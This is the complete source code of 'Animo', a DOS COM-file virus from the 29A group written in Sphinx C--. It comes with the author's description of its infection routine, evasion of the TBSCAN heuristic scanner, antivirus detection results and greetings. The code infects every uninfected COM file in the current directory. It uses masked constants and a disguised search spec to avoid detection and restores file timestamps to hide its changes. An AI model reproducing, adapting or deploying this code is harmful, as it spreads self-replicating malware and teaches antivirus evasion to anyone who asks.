/*****( Animo virus description )**********************************************
                                                     ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Virus name    : Animo                                ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Author        : Rajaat / 29A                          ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
Origin        : United Kingdom, January 29th         ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
Compiling     : Using Sphinx C-- (with XFILE pack)   ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
                C-- ANIMO
                This is a bit kind of special language, you can download it
                and the additional XFILE pack (which contains the lseek
                function) from the official Sphinx C-- site (it is written by
                Peter Cellik) which is located at
                http://www.geocities.com/SiliconValley/Vista/3559
Targets       : COM files (yuck!)
Infects on    : Runtime, files in the current directory (even more yuck!)
Size          : 518 bytes (impressive for the language, I love it!)
Resident      : No
Polymorphic   : No
Encrypted     : No
Stealth       : File date/time, but no critical error handler
Tunneling     : No
Retrovirus    : No
Antiheuristics: Yes, targetted against TBSCAN, which gives zero flags
Armor         : No
Payload       : No
Trigger       : None
Peculiarities : Written in Sphinx C-- is peculiar, I think, and a good start
                too. Works only on 80386+ (so?)
Drawbacks     : I don't know yet, this language happens to be so flexible that
                you certainly can do a lot more than just COM files, I'm now
                doing experiments with a multipartite virus already ;-)
Bugs          : Not that I am aware of...
Behaviour     : When an infected file is executed the virus will receive
                control with a near jump to its code located at the
                start of the file. Then it will get the entry point in
                SI by calling to the next line (a call is relative) and
                pop the return address (which is an absolute value) and
                substract the original located address of get_offset,
                effectively getting the difference of where the original
                compiled code is located and the now running code. For
                some reason unknown to me this doesn't alert TBSCAN,
                which could spot entrypoints calls with ease and flag
                like shit. Norman is really fucking up TBSCAN for
                good... A shame. Well, after it gets the entrypoint it
                will call to the start_replication() function. That
                subroutine will first rebuild the first 4 bytes of the
                infected COM file, so that it can be run again, after
                the virus is ready doing its work. Then it sets the DTA
                to the memory location where the virus in memory ends.
                The next line is some antiheuristic code for TBSCAN, it
                changes the "*.ZOM" search spec into "*.COM" (TBSCAN
                would flag on COM so this little change shuts down one
                flag). Then it will search for COM files with no
                attributes set in the current directory. If such file is
                found, it will temporarily store the search spec to
                "*.ZOM" again. Then it calls the function infect() with
                a pointer to the filename returned in the DTA as
                parameter. infect() will open the file in read/write
                mode and if the open succeeded it will read the first 4
                bytes of the file into a small buffer. If the 4th byte
                is an ! it will assume that the file is already infected
                and will skip it. Then it will check if the opened file
                has an EXE header. This is done in an antiheuristic
                fashion. If the file is indeed a COM file, it seek to
                the end of the file. If the filesize is larger than
                0x100 bytes (convert them yourself, weenie!) and smaller
                than 0xF000 (don't you have some calculator?), it will
                proceed with the infection. It then calculates the
                relative offset for the JMP instruction that will be
                placed at the start of the file. Then it will get the
                file date/time stamp and push it on the stack. After
                that it will load it's registers with the correct data
                and writes it's image at the end of the file. Then it
                jump back to the start of the file and will write the
                near jump to the virus code and the infection marker
                (!). When finished, it will restore the file date/time
                stamp and close the file. The routine to restore the
                date/time is also done antiheuristically and is so
                simple that I am amazed that TBSCAN fell for that
                old-hat trick. After infecting a file, it will search
                for the next file to infect, until all the files in the
                current directory are infected. The virus sets the DTA
                back to the normal address (0x80, which is 0x100 >> 2 or
                0x100 / 2, whatever you like most, it's half of it). It
                then pushes its return address (0x100, you already
                calculated this one) in some antiheuristic (blah) way on
                the stack, clears the AX register and returns control to
                the host, which runs like normal (unless it has some
                self check or when started with some oldsmobile).

                Sara Ford..... sounds like Science Fiction to me
                (those Capitals, are they Hidden Pictures or Some
                Message?)

Note          : I know that this is a simple COM infector and below
                standard, but this can be seen as a simple test to check
                out for myself if C-- is a convenient language and if it
                was possible to use for some more complex idea I
                initially had in mind with Borland C++, of which you
                also can get the source code on the first 2 versions (a
                direct action appending COM infector and a MCB resident
                appending COM infector). And yes, I think it is possible
                to bend C-- to my own twisted desires (oh, I have played
                Pandemonium 2 a bit too often lately, I fear). Well, the
                actual story how I came to write a virus in the peculiar
                language is like this: two days ago I found this program
                on some homepage (see above) by accident, while using a
                search engine to help me getting a C front-end for NASM,
                the Netwide ASseMbler, which is really a great
                Assembler, which I will try to use in the future
                L:-o-P-< (Elvis Lives!). Yesterday I started my first
                experiments in C-- to learn a bit how the language
                works. Since I know both how to handle C and Assembler
                (and some others like Pascal, that are not worthwile
                mentioning here), and now my first virus written in this
                language lies in front of you! You can see from the
                source, that it is *VERY* flexible and if properly used,
                you can build really complex viruses with this, using
                the easy of C and the power of Assembler (btw, have you
                noticed that I write the word Assembler with a Capital
                A? Would this have a hidden meaning? Some Complex Code?
                A Secret Message? No, it's just my Language Worshipping
                Mood again &-! By the way, the virus compiles very
                small, it's a very good compiler, and although writing
                in assembler still creates much tighter code, I think
                this language is worth a try. You can shorten code much
                by using register functions (try getting most of the
                return codes into the AX register, so you don't need the
                return code, which takes one extra "ret" code, even when
                returning with a fixed value).

                I hereby would like to show my gratitude to Peter Cellik
                for writing such a wonderful language, although I would
                like to see some things added, like:

                o       structures
                o       unions
                o       functions that generate no code at all (not even
                        the IRET)
                o       the possibility to do some AND operation in
                        if statements, like:

                        if ((filesize > 0x100) && (filesize < 0xf000))

                        instead of this crummy way (although they
                        probably would generate the same thing, but I
                        think the above one is preferred and look more
                        clean to me):

                        if (filesize > 0x100)
                          if (filesize < 0xf000)

                o       doing some more complex calculations, which now
                        have to be broken up in parts, like:

                        cx = (cyl << 8 | sector) | (cyl & 0x300 >> 2);
                        CX = cx;

                        or even better:
                        CX = (cyl << 8 | sector) | (cyl & 0x300 >> 2);

                        instead of having to do manipulations like this,
                        which look not very readable to me:

                        cx = cyl << 8 | sector;
                        cx |= cyl & 0x300 >> 2;
                        CX = cx;

                        Or another example:

                        word virus_sectors()
                        {
                          AX = virus_bytes() / 512 + 1;
                        }

                        instead of:

                        word virus_sectors()
                        {
                          AX = virus_bytes() / 512;
                          AX++;
                        }

                Anyway, as a little token of my gratitude to Peter
                Cellik, I will post a litte part of his documentation in
                here:

                 "3.4  ABUSES

                  Anyone with a mischievous mind (most people do) can
                  think of some not so nice ways of using this function.
                  The most obvious of which would be the creation of
                  trojan horses.  I WOULD LIKE TO POINT OUT THAT THIS IS
                  NOT A CONSTRUCTIVE USE OF C-- AND ANY DESTRUCTIVE USE
                  OF COM FILE SYMBIOSIS IS PROHIBITED.  In other words,
                  don't be a jerk. "

                Well, I think I am no jerk, since I don't have to use
                that "feature" :-). Anybody who wants to write viruses
                in this language are also kindly asked to support Peter
                Celliks idea of GREENWARE. To cite:

                 "THE PRICE:
                  ~~~~~~~~~~
                  This version of C-- is GREENWARE, and you are free to
                  use it so long as you make an effort everyday to help
                  out the environment.  A few ideas:

                  - use only recycled computer paper
                  - be sure to recycle the computer paper after you use it
                  - use public transport
                  - sell that 80 cylinder car of yours and buy a small 4
                    cylinder, or better yet, buy a motorbike
                  - support Green Peace
                  - REDUCE-REUSE-recycle
                  - stop smoking
                  - ride a bike to work or school
                  - don't buy products that are harmful to the environment
                  - stop using weed killers on your lawn
                  - support Friends of the Earth
                  - recycle your cans
                  - don't buy products that have lots of extra packaging
                  - use a fax modem instead of a paper fax machine
                  - reuse your plastic bags
                  - (you get the idea) "

                Well, I think he has some great ideas there, in the
                progress of writing viruses, I waste tons of paper, I
                don't have a lawn, so I don't need weed killer anyway,
                all my trash gets recycled already, I have access to a
                HP Officejet LX, and I don't use plastic bags cut a more
                robust one. But one can go too far, Peter. I won't quit
                smoking, you never can convince me not going to Spain
                with Darkman by car (although I am scared by thinking of
                abandoning the "left hand path", and sure as hell I would
                not support a group of terrorists that plum a seal for a
                picture to shock people. I do not believe in the "can't
                make an omelette without breaking a few eggs" attitude.
                Fuck Green Peace! Though trying to stop French nuking
                is ok :-).

                Well, the comments are longer than the source, what else
                can I say, enjoy! By the way, those pieces of example
                codes of my wishlist above are code snippets for my next
                virus in C--.

                Rajaat / 29A
                rajaat@itookmyprozac.com
                http://www.geocities.com/SiliconValley/Vista/7227
                (I know, it's outdated, I hope to update it soon, a new
                page is in the making)

                Don't forget to take a look at these sites:

                    http://www.geocities.com/SiliconValley/Vista/3559
                    http://www.cryogen.com/Nasm
                    http://www.x86.org

*****( Results with antivirus software )***************************************

        TBSCAN                    - Doesn't detect it
        F-PROT                    - Doesn't detect it (yet)
        F-PROT /ANALYSE           - Detects it
        F-PROT /ANALYSE /PARANOID - Detects it (wow, genius)

*****( Greetings )*************************************************************

I hereby would like to take the opportunity to greet a few people:

        - the rest of the 29A people (it is great to work with you people)
        - the unforgiven and metal militia (heroes in the snow!)
        - z0mbie (ShadowRAM Technology rocks!)
        - [sm] (RT got quite some attention I heard!)
        - owl[fs] (still breeding some ideas?)
        - retch (MP3 CD? ;-)
        - bds (hiya!)
        - antigen and priest (when will I hear from you guys again?)
        - rhincewind (someday I'll be able to contact you again... I hope)
        - trigger (don't SLAM that door so hard, will ya?)
        - spicy impregnator (no taste)
        - qark & quantum (get back to work)
        - metabolis (I miss your remarks)
        - raid (ASIC is fun, but not my idea of ideal virus language, you
                won't get much farther than a direct action generic prepending
                infector)

If anybody feels left out who deserves to get greeted by me can paste
their name between to two lines for *FREE* inclusion:

ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

hahahahahahahahahahahahahaha die trying!

*****( Start of the virus code )**********************************************/

? resize FALSE                  // No memory resizing
? jumptomain NONE               // No jumps to main procedure
? codesize                      // Optimize code for size
? alignword FALSE               // Align word on even offset set to off

? include "dos.h--"             // Use DOS functions
? include "xfile.h--"           // And now new extended functions (LSEEK)

byte virus_end;                 // Last Data Item

byte nops[4] = { 0x90, 0x90, 0x90, 0x90 };     // Fake host

word main()                     // Virus entry point
{
  $ CALL get_delta              //
  get_delta:                    // Get delta offset in SI
  $ POP SI                      //
  SI -= #get_delta;             //
  start_replication();          // Call replicator
  AX = 0x100 ^ 0x6510;          // Push entrypoint
  AX ^= 0x6510;                 // with some antiheuristics
  $ PUSH AX;                    // on the stack and
  AX = 0;                       // clear AX
}

byte host_bytes[4] = { 0xCD, 0x20, 0, 0  };     // Host data
byte searchspec = "*.ZOM";      // Searchspec
byte jumpop = 0xE9;             // Near jump
word nearjmp = 0;               // The offset
byte marker = '!';              // and infection marker

byte virus  = "[Animo]";        // Spliffbanger!
byte author = "[Rajaat/29A]";   // some personal stuff

start_replication()
{
  $ PUSH SI                     // Preserve delta
  SI = #host_bytes[SI];         // Point to host bytes
  DI = #nops;                   // Absolute nops is at 0x100
  $ CLD                         // Clear direction
  $ MOVSW                       // Move the 4 bytes we have save to the
  $ MOVSW                       // start of the host
  $ POP SI                      // Get delta back from stack
  setDTA(CS,#virus_end[SI]);    // Set DTA to behind virus image
  searchspec[SI+2] = 'C';       // Antiheuristics again
  if (FINDFIRSTFILE(,,0,#searchspec[SI]) == 0)
  {
    do                          // We found a COM file
    {
      searchspec[SI+2] = 'Z';   // Again some antiheuristic action
      infect(#virus_end[SI+0x1e]); // And call the infection routine
      searchspec[SI+2] = 'C';   // And back to normal for COM searching
      FINDNEXTFILE();           // And find next function
    } while (AX == 0);          // Hopefully
  }
  setDTA(CS,0x80);              // Restore DTA
}

infect(word filename)           // Infection procedure
word handle;                    // Temporary file handle placement
word bytes_read;                // Amount of bytes read
word myoffset;                  // My own offset (need multiple steps)
word twobytes;
long filesize;                  // And the filesize
{
  handle = FOPEN(2,,,filename); // Open file with write access
  if (handle != 0)              // If no error
  {
    FREAD( , handle, 4, #host_bytes[SI]);            // Read 4 bytes
    if (host_bytes[SI+3] != '!')                     // Already infected
    {                                                // No, we continue
      twobytes = host_bytes[0];                      // get 1st word
      twobytes += host_bytes[1] << 8;                // stupid way
      twobytes ^= 0x029A;                            // Final antiheuristics
      if (twobytes != 0x4d5a ^ 0x029A)               // Check exe
      if (twobytes != 0x5a4d ^ 0x029A)               // weird exe
      twobytes ^= 0x029A;                            // Decrypt again ;-)
      filesize = lseek(handle, long 0, SEEK_END);    // Get filesize
      if (filesize > 0x100)                          // Not too small?
        if (filesize < 0xf000)                       // Not too big?
        {                                            // Right size!
          nearjmp[SI] = filesize - 3;                // Get relative EP
          AX = 0x5700;                               // Store file date and
          $ INT 0x21;                                // time on the
          $ PUSH CX;                                 // stack for later
          $ PUSH DX;                                 // retrieval
          bytes_read = get_virus_size();             // virus size
          myoffset = #main + SI;                     // relative virus start
          FWRITE(, handle, bytes_read, myoffset);    // write virus
          lseek(handle, long 0, SEEK_SET);           // go start of file
          FWRITE(, handle, 4, #jumpop[SI]);          // write jump
          $ POP DX;                                  // Restore date and
          $ POP CX;                                  // time of the file
          AX = 0x5701 ^ 0x8086;                      // and put them back
          AX ^= 0x8086;                              // on it with some
          $ INT 0x21;                                // antiheuristics
        }
    }
    FCLOSE(,handle);            // Close file (we're done)
  }
}

word get_virus_size()           // Gets address of latest memory byte of
{                               // virus, effectively getting the virus
  AX = #virus_end-#main;        // size
}

/*****( This is the end, my dear friend )*************************************/
